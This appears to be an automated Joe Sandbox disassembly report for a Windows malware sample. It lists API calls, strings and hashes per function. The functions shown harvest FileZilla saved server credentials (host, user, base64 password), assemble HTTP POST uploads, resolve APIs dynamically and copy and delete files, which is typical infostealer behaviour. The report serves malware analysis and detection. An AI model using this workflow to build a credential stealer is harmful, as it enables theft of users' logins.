GetProcessHeap.KERNEL32(00000000,00000104,00401177,02F84890,004136EB,0041D6E3), ref: 004143CD
HeapAlloc.KERNEL32(00000000), ref: 004143D4
GetUserNameA.ADVAPI32(?,00000104), ref: 004143EC

Memory Dump Source

Source File: 00000001.00000002.2601724331.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.2601724331.0000000000448000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2601724331.000000000044B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2601724331.0000000000549000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2601724331.0000000000624000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2601724331.0000000000636000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_zVp8cG4riO.jbxd

Yara matches

Similarity

API ID: Heap$AllocNameProcessUser
String ID:
API String ID: 1206570057-0
Opcode ID: 19f43c5935948d257337b5cfe167422182bb8e9e8b16b88c7073f3e19bcb2857
Instruction ID: fd22aaf49eebc4deedfa71bce2fb200d05227bfc9b63873cd8cb515d50d954e6
Opcode Fuzzy Hash: 19f43c5935948d257337b5cfe167422182bb8e9e8b16b88c7073f3e19bcb2857
Instruction Fuzzy Hash: 2CE08CB490070CFFCB20EFE4DC49E9CBBB8AB08312F000184FA09E3280DB7056848B91

Uniqueness

Uniqueness Score: -1.00%

Function 00401120 Relevance: 3.0, APIs: 2, Instructions: 15COMMON

Download Yara Rule

APIs

GetSystemInfo.KERNEL32(?,?,?,?,?,?,?,?,?,004136D7,0041D6E3), ref: 0040112A
ExitProcess.KERNEL32 ref: 0040113E

Memory Dump Source

Source File: 00000001.00000002.2601724331.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.2601724331.0000000000448000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2601724331.000000000044B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2601724331.0000000000549000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2601724331.0000000000624000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2601724331.0000000000636000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_zVp8cG4riO.jbxd

Yara matches

Similarity

API ID: ExitInfoProcessSystem
String ID:
API String ID: 752954902-0
Opcode ID: 0c78e0eb242a3f19764e03ad46aab426447ce2b04c76b8959ffb9729e3075d63
Instruction ID: 30efb513975bfe185fa80fb3a8f84b393628ccfbb0aa9170a1b214bc368b0093
Opcode Fuzzy Hash: 0c78e0eb242a3f19764e03ad46aab426447ce2b04c76b8959ffb9729e3075d63
Instruction Fuzzy Hash: B6D05E7490020C8BCB14DFE09A496DDBBB9AB8D711F001455DD0572240DA305441CA65

Uniqueness

Uniqueness Score: -1.00%

Function 004070E0 Relevance: 81.6, APIs: 54, Instructions: 584
stringmemoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetProcessHeap.KERNEL32(00000000,0098967F,?,00413068,?), ref: 004070F4
RtlAllocateHeap.NTDLL(00000000,?,00413068,?), ref: 004070FB
lstrcat.KERNEL32(?,02F87BB0), ref: 004072AB
lstrcat.KERNEL32(?,?), ref: 004072BF
lstrcat.KERNEL32(?,?), ref: 004072D3
lstrcat.KERNEL32(?,?), ref: 004072E7
lstrcat.KERNEL32(?,02F8B6A0), ref: 004072FB
lstrcat.KERNEL32(?,02F8B820), ref: 0040730F
lstrcat.KERNEL32(?,02F8B8C8), ref: 00407322
lstrcat.KERNEL32(?,02F8B928), ref: 00407336
lstrcat.KERNEL32(?,02F87C38), ref: 0040734A
lstrcat.KERNEL32(?,?), ref: 0040735E
lstrcat.KERNEL32(?,?), ref: 00407372
lstrcat.KERNEL32(?,?), ref: 00407386
lstrcat.KERNEL32(?,02F8B6A0), ref: 00407399
lstrcat.KERNEL32(?,02F8B820), ref: 004073AD
lstrcat.KERNEL32(?,02F8B8C8), ref: 004073C1
lstrcat.KERNEL32(?,02F8B928), ref: 004073D4
lstrcat.KERNEL32(?,02F8BE78), ref: 004073E8
lstrcat.KERNEL32(?,?), ref: 004073FC
lstrcat.KERNEL32(?,?), ref: 00407410
lstrcat.KERNEL32(?,?), ref: 00407424
lstrcat.KERNEL32(?,02F8B6A0), ref: 00407438
lstrcat.KERNEL32(?,02F8B820), ref: 0040744B
lstrcat.KERNEL32(?,02F8B8C8), ref: 0040745F
lstrcat.KERNEL32(?,02F8B928), ref: 00407473
lstrcat.KERNEL32(?,02F8BEE0), ref: 00407486
lstrcat.KERNEL32(?,?), ref: 0040749A
lstrcat.KERNEL32(?,?), ref: 004074AE
lstrcat.KERNEL32(?,?), ref: 004074C2
lstrcat.KERNEL32(?,02F8B6A0), ref: 004074D6
lstrcat.KERNEL32(?,02F8B820), ref: 004074EA
lstrcat.KERNEL32(?,02F8B8C8), ref: 004074FD
lstrcat.KERNEL32(?,02F8B928), ref: 00407511
lstrcat.KERNEL32(?,02F8BF48), ref: 00407525
lstrcat.KERNEL32(?,?), ref: 00407539
lstrcat.KERNEL32(?,?), ref: 0040754D
lstrcat.KERNEL32(?,?), ref: 00407561
lstrcat.KERNEL32(?,02F8B6A0), ref: 00407574
lstrcat.KERNEL32(?,02F8B820), ref: 00407588
lstrcat.KERNEL32(?,02F8B8C8), ref: 0040759C
lstrcat.KERNEL32(?,02F8B928), ref: 004075AF
lstrcat.KERNEL32(?,02F8BFB0), ref: 004075C3
lstrcat.KERNEL32(?,?), ref: 004075D7
lstrcat.KERNEL32(?,?), ref: 004075EB
lstrcat.KERNEL32(?,?), ref: 004075FF
lstrcat.KERNEL32(?,02F8B6A0), ref: 00407613
lstrcat.KERNEL32(?,02F8B820), ref: 00407626
lstrcat.KERNEL32(?,02F8B8C8), ref: 0040763A
lstrcat.KERNEL32(?,02F8B928), ref: 0040764E

Part of subcall function 00406FA0: lstrcat.KERNEL32(35841020,0041DEB8), ref: 00406FD6
Part of subcall function 00406FA0: lstrcat.KERNEL32(35841020,00000000), ref: 00407018
Part of subcall function 00406FA0: lstrcat.KERNEL32(35841020, : ), ref: 0040702A
Part of subcall function 00406FA0: lstrcat.KERNEL32(35841020,00000000), ref: 0040705F
Part of subcall function 00406FA0: lstrcat.KERNEL32(35841020,0041DEC0), ref: 00407070
Part of subcall function 00406FA0: lstrcat.KERNEL32(35841020,00000000), ref: 004070A3
Part of subcall function 00406FA0: lstrcat.KERNEL32(35841020,0041DEC4), ref: 004070BD
Part of subcall function 00406FA0: task.LIBCPMTD ref: 004070CB

lstrcat.KERNEL32(?,02F84950), ref: 004077DB
lstrcat.KERNEL32(?,02F8B578), ref: 004077EE
lstrlen.KERNEL32(35841020), ref: 004077FB
lstrlen.KERNEL32(35841020), ref: 0040780B

Part of subcall function 00416D40: lstrcpy.KERNEL32(0041D6E3,00000000), ref: 00416D88

Part of subcall function 00404DC0: lstrlen.KERNEL32(00000000), ref: 00404E4A
Part of subcall function 00404DC0: InternetOpenA.WININET(00000000,00000001,00000000,00000000,00000000), ref: 00404EBB
Part of subcall function 00404DC0: StrCmpCA.SHLWAPI(?,02F84A10), ref: 00404ED9

Memory Dump Source

Source File: 00000001.00000002.2601724331.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.2601724331.0000000000448000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2601724331.000000000044B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2601724331.0000000000549000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2601724331.0000000000624000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2601724331.0000000000636000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_zVp8cG4riO.jbxd

Yara matches

Similarity

API ID: lstrcat$lstrlen$Heap$AllocateInternetOpenProcesslstrcpytask
String ID:
API String ID: 3958002797-0
Opcode ID: 313eb778a718643aad64bdd3e3001d0c6ee819db568b7a75aeff996fb35f7f98
Instruction ID: 3e78b0701875fb024adfa953bd7607f570b92d72e3b87f8e208063dda3fe5bd2
Opcode Fuzzy Hash: 313eb778a718643aad64bdd3e3001d0c6ee819db568b7a75aeff996fb35f7f98
Instruction Fuzzy Hash: D33234B6D01A14ABCB35EBA0DC89DDE737DAB48704F404699B20A66090DF78E7C5CF94

Uniqueness

Uniqueness Score: -1.00%

Function 0040EA90 Relevance: 73.9, APIs: 32, Strings: 10, Instructions: 363
stringmemoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 00416D40: lstrcpy.KERNEL32(0041D6E3,00000000), ref: 00416D88

Part of subcall function 004154E0: SHGetFolderPathA.SHELL32(00000000,?,00000000,00000000,?,?,000003E8), ref: 0041550B

Part of subcall function 00416F20: lstrcpy.KERNEL32(00000000,?), ref: 00416F72
Part of subcall function 00416F20: lstrcat.KERNEL32(00000000), ref: 00416F82

Part of subcall function 00416EA0: lstrcpy.KERNEL32(?,0041D6E3), ref: 00416F05

Part of subcall function 00416FB0: lstrlen.KERNEL32(?,0041D8B0,?,00000000,0041D6E3), ref: 00416FC5
Part of subcall function 00416FB0: lstrcpy.KERNEL32(00000000), ref: 00417004
Part of subcall function 00416FB0: lstrcat.KERNEL32(00000000,00000000), ref: 00417012

Part of subcall function 00416DA0: lstrcpy.KERNEL32(?,00000000), ref: 00416DE6

Part of subcall function 004093A0: CreateFileA.KERNEL32(00000000,80000000,00000001,00000000,00000003,00000000,00000000), ref: 004093CC
Part of subcall function 004093A0: GetFileSizeEx.KERNEL32(000000FF,?), ref: 004093F1
Part of subcall function 004093A0: LocalAlloc.KERNEL32(00000040,?), ref: 00409411
Part of subcall function 004093A0: ReadFile.KERNEL32(000000FF,?,00000000,'@,00000000), ref: 0040943A
Part of subcall function 004093A0: LocalFree.KERNEL32('@), ref: 00409470
Part of subcall function 004093A0: CloseHandle.KERNEL32(000000FF), ref: 0040947A

Part of subcall function 00415530: LocalAlloc.KERNEL32(00000040,-00000001), ref: 00415552

strtok_s.MSVCRT ref: 0040EB5B
GetProcessHeap.KERNEL32(00000000,000F423F,0041D77A,0041D777,0041D776,0041D773), ref: 0040EBA2
HeapAlloc.KERNEL32(00000000,?,?,?,?,?,?,?,?,?,?,?,?,?,?,0041D772), ref: 0040EBA9
StrStrA.SHLWAPI(00000000,<Host>), ref: 0040EBC5
lstrlen.KERNEL32(00000000), ref: 0040EBD3

Part of subcall function 00414FA0: malloc.MSVCRT ref: 00414FA8
Part of subcall function 00414FA0: strncpy.MSVCRT ref: 00414FC3

StrStrA.SHLWAPI(00000000,<Port>), ref: 0040EC0F
lstrlen.KERNEL32(00000000), ref: 0040EC1D
StrStrA.SHLWAPI(00000000,<User>), ref: 0040EC59
lstrlen.KERNEL32(00000000), ref: 0040EC67
StrStrA.SHLWAPI(00000000,<Pass encoding="base64">), ref: 0040ECA3
lstrlen.KERNEL32(00000000), ref: 0040ECB5
lstrlen.KERNEL32(00000000,?,?,?,?,?,?,?,?,?,?,?,?,?,?,0041D772), ref: 0040ED42
lstrlen.KERNEL32(00000000,?,?,00000000), ref: 0040ED5A
lstrlen.KERNEL32(00000000,?,?,00000000), ref: 0040ED72
lstrlen.KERNEL32(00000000,?,?,00000000), ref: 0040ED8A
lstrcat.KERNEL32(?,browser: FileZilla), ref: 0040EDA2
lstrcat.KERNEL32(?,profile: null), ref: 0040EDB1
lstrcat.KERNEL32(?,url: ), ref: 0040EDC0
lstrcat.KERNEL32(?,00000000), ref: 0040EDD3
lstrcat.KERNEL32(?,0041DD34), ref: 0040EDE2
lstrcat.KERNEL32(?,00000000), ref: 0040EDF5
lstrcat.KERNEL32(?,0041DD38), ref: 0040EE04
lstrcat.KERNEL32(?,login: ), ref: 0040EE13
lstrcat.KERNEL32(?,00000000), ref: 0040EE26
lstrcat.KERNEL32(?,0041DD44), ref: 0040EE35
lstrcat.KERNEL32(?,password: ), ref: 0040EE44
lstrcat.KERNEL32(?,00000000), ref: 0040EE57
lstrcat.KERNEL32(?,0041DD54), ref: 0040EE66
lstrcat.KERNEL32(?,0041DD58), ref: 0040EE75
strtok_s.MSVCRT ref: 0040EEB9
lstrlen.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,0041D772), ref: 0040EECE
memset.MSVCRT ref: 0040EF17

Strings

browser: FileZilla, xrefs: 0040ED99
login: , xrefs: 0040EE0A
profile: null, xrefs: 0040EDA8
\AppData\Roaming\FileZilla\recentservers.xml, xrefs: 0040EAE4
<Pass encoding="base64">, xrefs: 0040EC9A
<User>, xrefs: 0040EC50
<Host>, xrefs: 0040EBBC
password: , xrefs: 0040EE3B
<Port>, xrefs: 0040EC06
url: , xrefs: 0040EDB7

Memory Dump Source

Source File: 00000001.00000002.2601724331.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.2601724331.0000000000448000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2601724331.000000000044B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2601724331.0000000000549000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2601724331.0000000000624000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2601724331.0000000000636000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_zVp8cG4riO.jbxd

Yara matches

Similarity

API ID: lstrcat$lstrlen$lstrcpy$AllocFileLocal$Heapstrtok_s$CloseCreateFolderFreeHandlePathProcessReadSizemallocmemsetstrncpy
String ID: <Host>$<Pass encoding="base64">$<Port>$<User>$\AppData\Roaming\FileZilla\recentservers.xml$browser: FileZilla$login: $password: $profile: null$url:
API String ID: 337689325-555421843
Opcode ID: 0b4f0136304056bdb1de057c6a2bfbccb3607a6ef2c6dce9e0e6c664626e4e81
Instruction ID: d9186ee441f73b04c887f2efee86d04259a2264df0fa853aa1509dbc15227f06
Opcode Fuzzy Hash: 0b4f0136304056bdb1de057c6a2bfbccb3607a6ef2c6dce9e0e6c664626e4e81
Instruction Fuzzy Hash: 3FD174B5D00208ABCB14EBF1DD56EEE7739AF44304F50851EF106B6095DF38AA85CBA8

Uniqueness

Uniqueness Score: -1.00%

Function 00415ED0 Relevance: 59.7, APIs: 33, Strings: 1, Instructions: 212
libraryloaderCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetProcAddress.KERNEL32(75900000,02F6DFF8), ref: 00415F11
GetProcAddress.KERNEL32(75900000,02F6DE48), ref: 00415F2A
GetProcAddress.KERNEL32(75900000,02F6E040), ref: 00415F42
GetProcAddress.KERNEL32(75900000,02F6DE78), ref: 00415F5A
GetProcAddress.KERNEL32(75900000,02F6DF08), ref: 00415F73
GetProcAddress.KERNEL32(75900000,02F66A68), ref: 00415F8B
GetProcAddress.KERNEL32(75900000,02F66338), ref: 00415FA3
GetProcAddress.KERNEL32(75900000,02F66238), ref: 00415FBC
GetProcAddress.KERNEL32(75900000,02F6E088), ref: 00415FD4
GetProcAddress.KERNEL32(75900000,02F6E0A0), ref: 00415FEC
GetProcAddress.KERNEL32(75900000,02F6DEF0), ref: 00416005
GetProcAddress.KERNEL32(75900000,02F6E0B8), ref: 0041601D
GetProcAddress.KERNEL32(75900000,02F66438), ref: 00416035
GetProcAddress.KERNEL32(75900000,02F6E0D0), ref: 0041604E
GetProcAddress.KERNEL32(75900000,02F6DEA8), ref: 00416066
GetProcAddress.KERNEL32(75900000,02F66298), ref: 0041607E
GetProcAddress.KERNEL32(75900000,02F6E118), ref: 00416097
GetProcAddress.KERNEL32(75900000,02F6E0E8), ref: 004160AF
GetProcAddress.KERNEL32(75900000,02F66358), ref: 004160C7
GetProcAddress.KERNEL32(75900000,02F6E100), ref: 004160E0
GetProcAddress.KERNEL32(75900000,02F66498), ref: 004160F8
LoadLibraryA.KERNEL32(02F6DF20,?,004136C0), ref: 0041610A
LoadLibraryA.KERNEL32(02F6DEC0,?,004136C0), ref: 0041611B
LoadLibraryA.KERNEL32(02F6DE60,?,004136C0), ref: 0041612D
LoadLibraryA.KERNEL32(02F6DE90,?,004136C0), ref: 0041613F
LoadLibraryA.KERNEL32(02F6DED8,?,004136C0), ref: 00416150
GetProcAddress.KERNEL32(75070000,02F6DF38), ref: 00416172
GetProcAddress.KERNEL32(75FD0000,02F6DF50), ref: 00416193
GetProcAddress.KERNEL32(75FD0000,02F6E190), ref: 004161AB
GetProcAddress.KERNEL32(75A50000,02F6E148), ref: 004161CD
GetProcAddress.KERNEL32(74E50000,02F664B8), ref: 004161EE
GetProcAddress.KERNEL32(76E80000,02F66A78), ref: 0041620F
GetProcAddress.KERNEL32(76E80000,NtQueryInformationProcess), ref: 00416226

Strings

NtQueryInformationProcess, xrefs: 0041621A

Memory Dump Source

Source File: 00000001.00000002.2601724331.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.2601724331.0000000000448000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2601724331.000000000044B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2601724331.0000000000549000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2601724331.0000000000624000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2601724331.0000000000636000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_zVp8cG4riO.jbxd

Yara matches

Similarity

API ID: AddressProc$LibraryLoad
String ID: NtQueryInformationProcess
API String ID: 2238633743-2781105232
Opcode ID: 4bf4faa6d80337b6a8c58e308678245154ae8b5c2676724c8d6fcdc68551e2bc
Instruction ID: 1024ce913f91588aaf476b7e35ab3ad31cc185c195c2877b0ef9f81f7e935ec9
Opcode Fuzzy Hash: 4bf4faa6d80337b6a8c58e308678245154ae8b5c2676724c8d6fcdc68551e2bc
Instruction Fuzzy Hash: 4CA16FB5910E10AFC374DFA8FE88A1637BBBBCC3117116519A60AC72A0DF759482CF95

Uniqueness

Uniqueness Score: -1.00%

Function 00404DC0 Relevance: 53.1, APIs: 22, Strings: 8, Instructions: 569
stringnetworkmemoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 00416DA0: lstrcpy.KERNEL32(?,00000000), ref: 00416DE6

Part of subcall function 00404470: lstrlen.KERNEL32(00000000,00000000,0000003C), ref: 004044F6
Part of subcall function 00404470: InternetCrackUrlA.WININET(00000000,00000000), ref: 00404506

lstrlen.KERNEL32(00000000), ref: 00404E4A

Part of subcall function 004155A0: CryptBinaryToStringA.CRYPT32(00000000,>N@,40000001,00000000,00000000), ref: 004155C0

Part of subcall function 00416D40: lstrcpy.KERNEL32(0041D6E3,00000000), ref: 00416D88

InternetOpenA.WININET(00000000,00000001,00000000,00000000,00000000), ref: 00404EBB
StrCmpCA.SHLWAPI(?,02F84A10), ref: 00404ED9
InternetConnectA.WININET(00000000,?,?,00000000,00000000,00000003,00000000,00000000), ref: 00404FF4
HttpOpenRequestA.WININET(00000000,02F84A00,?,02F8B958,00000000,00000000,00400100,00000000), ref: 00405058

Part of subcall function 00416FB0: lstrlen.KERNEL32(?,0041D8B0,?,00000000,0041D6E3), ref: 00416FC5
Part of subcall function 00416FB0: lstrcpy.KERNEL32(00000000), ref: 00417004
Part of subcall function 00416FB0: lstrcat.KERNEL32(00000000,00000000), ref: 00417012

Part of subcall function 00416EA0: lstrcpy.KERNEL32(?,0041D6E3), ref: 00416F05

Part of subcall function 00416F20: lstrcpy.KERNEL32(00000000,?), ref: 00416F72
Part of subcall function 00416F20: lstrcat.KERNEL32(00000000), ref: 00416F82

lstrlen.KERNEL32(00000000,00000000,?,",00000000,?,02F849A0,00000000,?,02F88000,00000000,?,0041E098,00000000,?,00410996), ref: 004053EB
lstrlen.KERNEL32(00000000), ref: 004053FF
GetProcessHeap.KERNEL32(00000000,?), ref: 00405410
RtlAllocateHeap.NTDLL(00000000), ref: 00405417
lstrlen.KERNEL32(00000000), ref: 0040542C
memcpy.MSVCRT ref: 00405443
lstrlen.KERNEL32(00000000,00000000,00000000), ref: 0040545D
memcpy.MSVCRT ref: 0040546A
lstrlen.KERNEL32(00000000), ref: 0040547C
lstrlen.KERNEL32(00000000,00000000,00000000), ref: 00405495
memcpy.MSVCRT ref: 004054A5
lstrlen.KERNEL32(00000000,?,?), ref: 004054C2
HttpSendRequestA.WININET(00000000,00000000,00000000), ref: 004054D6
InternetReadFile.WININET(00000000,?,000007CF,?), ref: 00405501
InternetCloseHandle.WININET(00000000), ref: 00405565
InternetCloseHandle.WININET(00000000), ref: 00405572
InternetCloseHandle.WININET(00000000), ref: 0040557C

Strings

", xrefs: 00405136
------, xrefs: 004051AD
------, xrefs: 004052EF
", xrefs: 004053BA
", xrefs: 00405278
------, xrefs: 0040506B
--, xrefs: 00404F34
------, xrefs: 00404F4B

Memory Dump Source

Source File: 00000001.00000002.2601724331.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.2601724331.0000000000448000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2601724331.000000000044B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2601724331.0000000000549000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2601724331.0000000000624000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2601724331.0000000000636000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_zVp8cG4riO.jbxd

Yara matches

Similarity

API ID: lstrlen$Internet$lstrcpy$CloseHandlememcpy$HeapHttpOpenRequestlstrcat$AllocateBinaryConnectCrackCryptFileProcessReadSendString
String ID: ------$"$"$"$--$------$------$------
API String ID: 1133489818-2774362122
Opcode ID: f9c74c8bd5b162ad2116968dca9dbc9c19983fe21bb72298214c6830a7feb551
Instruction ID: 5eac6181e64dcc8a416a420aa9bf91bf90c69560f183aa6c55bc1ab780bc5ff6
Opcode Fuzzy Hash: f9c74c8bd5b162ad2116968dca9dbc9c19983fe21bb72298214c6830a7feb551
Instruction Fuzzy Hash: 55324375920218ABCB14EBA1DC51FEEB779BF54704F40419EF10662091DF38AB89CFA8

Uniqueness

Uniqueness Score: -1.00%

Function 00405610 Relevance: 46.0, APIs: 19, Strings: 7, Instructions: 493
networkstringmemoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 00416DA0: lstrcpy.KERNEL32(?,00000000), ref: 00416DE6

Part of subcall function 00404470: lstrlen.KERNEL32(00000000,00000000,0000003C), ref: 004044F6
Part of subcall function 00404470: InternetCrackUrlA.WININET(00000000,00000000), ref: 00404506

Part of subcall function 00416D40: lstrcpy.KERNEL32(0041D6E3,00000000), ref: 00416D88

InternetOpenA.WININET(00000000,00000001,00000000,00000000,00000000), ref: 004056A8
StrCmpCA.SHLWAPI(?,02F84A10), ref: 004056C3
InternetConnectA.WININET(00000000,?,?,00000000,00000000,00000003,00000000,00000000), ref: 00405843
lstrlen.KERNEL32(00000000,00000000,?,?,00000000,?,",00000000,?,02F84A50,00000000,?,02F88000,00000000,?,0041E0D8), ref: 00405B1E
lstrlen.KERNEL32(00000000), ref: 00405B2F
GetProcessHeap.KERNEL32(00000000,?), ref: 00405B40
HeapAlloc.KERNEL32(00000000), ref: 00405B47
lstrlen.KERNEL32(00000000), ref: 00405B5C
memcpy.MSVCRT ref: 00405B73
lstrlen.KERNEL32(00000000), ref: 00405B85
lstrlen.KERNEL32(00000000,00000000,00000000), ref: 00405B9E
memcpy.MSVCRT ref: 00405BAB
lstrlen.KERNEL32(00000000,?,?), ref: 00405BC8
HttpSendRequestA.WININET(00000000,00000000,00000000), ref: 00405BDC
InternetReadFile.WININET(00000000,?,000000C7,?), ref: 00405BF9
InternetCloseHandle.WININET(00000000), ref: 00405C5D
InternetCloseHandle.WININET(00000000), ref: 00405C6A
HttpOpenRequestA.WININET(00000000,02F84A00,?,02F8B958,00000000,00000000,00400100,00000000), ref: 004058A8

Part of subcall function 00416FB0: lstrlen.KERNEL32(?,0041D8B0,?,00000000,0041D6E3), ref: 00416FC5
Part of subcall function 00416FB0: lstrcpy.KERNEL32(00000000), ref: 00417004
Part of subcall function 00416FB0: lstrcat.KERNEL32(00000000,00000000), ref: 00417012

Part of subcall function 00416EA0: lstrcpy.KERNEL32(?,0041D6E3), ref: 00416F05

Part of subcall function 00416F20: lstrcpy.KERNEL32(00000000,?), ref: 00416F72
Part of subcall function 00416F20: lstrcat.KERNEL32(00000000), ref: 00416F82

InternetCloseHandle.WININET(00000000), ref: 00405C74

Strings

-A, xrefs: 0040566F, 00405D14, 004056F7, 00405700, 0040576E, 004057E5, 004058E3, 00405A24, 00405771, 004057E8, 004058E6, 00405A27
------, xrefs: 004059FC
", xrefs: 00405985
------, xrefs: 004058BB
", xrefs: 00405AC6
------, xrefs: 00405746
-A, xrefs: 00405620, 00405D27, 00405623

Memory Dump Source

Source File: 00000001.00000002.2601724331.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.2601724331.0000000000448000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2601724331.000000000044B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2601724331.0000000000549000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2601724331.0000000000624000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2601724331.0000000000636000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_zVp8cG4riO.jbxd

Yara matches

Similarity

API ID: lstrlen$Internet$lstrcpy$CloseHandle$HeapHttpOpenRequestlstrcatmemcpy$AllocConnectCrackFileProcessReadSend
String ID: "$"$------$------$------$-A$-A
API String ID: 148854478-602752961
Opcode ID: 6882fe96c5024c80168a13641c85f07ff7a62da7ee737cdc8278628239c8db15
Instruction ID: 38116f3ce93ed53bffdba46f35b2307ef6cb7c9f678a3856a9fc947e80efe624
Opcode Fuzzy Hash: 6882fe96c5024c80168a13641c85f07ff7a62da7ee737cdc8278628239c8db15
Instruction Fuzzy Hash: A0125175920218AACB14EBA1DC95FDEB739BF14304F41429EF10A63091DF386B89CF68

Uniqueness

Uniqueness Score: -1.00%

Function 0040A030 Relevance: 32.0, APIs: 21, Instructions: 494
stringmemoryfileCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 00417070: StrCmpCA.SHLWAPI(00000000,0041DBD0,0040C8F2,0041DBD0,00000000), ref: 0041708F

GetProcessHeap.KERNEL32(00000000,05F5E0FF), ref: 0040A362
RtlAllocateHeap.NTDLL(00000000), ref: 0040A369
CopyFileA.KERNEL32(00000000,00000000,00000001), ref: 0040A14A

Part of subcall function 00416E20: lstrlen.KERNEL32(00000000,?,?,00412BE0,0041D59B,0041D59A,?,?,004137D6,00000000,?,02F66AB8,?,0041D8AC,?,00000000), ref: 00416E2B
Part of subcall function 00416E20: lstrcpy.KERNEL32(0041D6E3,00000000), ref: 00416E85

Part of subcall function 00416FB0: lstrlen.KERNEL32(?,0041D8B0,?,00000000,0041D6E3), ref: 00416FC5
Part of subcall function 00416FB0: lstrcpy.KERNEL32(00000000), ref: 00417004
Part of subcall function 00416FB0: lstrcat.KERNEL32(00000000,00000000), ref: 00417012

Part of subcall function 00416EA0: lstrcpy.KERNEL32(?,0041D6E3), ref: 00416F05

lstrcat.KERNEL32(?,00000000), ref: 0040A4AA
lstrcat.KERNEL32(?,0041DA80), ref: 0040A4B9
lstrcat.KERNEL32(?,00000000), ref: 0040A4CC
lstrcat.KERNEL32(?,0041DA84), ref: 0040A4DB
lstrcat.KERNEL32(?,00000000), ref: 0040A4EE
lstrcat.KERNEL32(?,0041DA88), ref: 0040A4FD
lstrcat.KERNEL32(?,00000000), ref: 0040A510
lstrcat.KERNEL32(?,0041DA8C), ref: 0040A51F
lstrcat.KERNEL32(?,00000000), ref: 0040A532
lstrcat.KERNEL32(?,0041DA90), ref: 0040A541
lstrcat.KERNEL32(?,00000000), ref: 0040A554
lstrcat.KERNEL32(?,0041DA94), ref: 0040A563

Part of subcall function 004097F0: memcmp.MSVCRT ref: 0040980B
Part of subcall function 004097F0: memset.MSVCRT ref: 0040983E
Part of subcall function 004097F0: LocalAlloc.KERNEL32(00000040,?), ref: 0040988E

lstrcat.KERNEL32(?,00000000), ref: 0040A5AC
lstrcat.KERNEL32(?,0041DA98), ref: 0040A5C6
lstrlen.KERNEL32(?), ref: 0040A605
lstrlen.KERNEL32(?), ref: 0040A614
memset.MSVCRT ref: 0040A65D

Part of subcall function 00416D40: lstrcpy.KERNEL32(0041D6E3,00000000), ref: 00416D88

DeleteFileA.KERNEL32(00000000), ref: 0040A689

Memory Dump Source

Source File: 00000001.00000002.2601724331.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

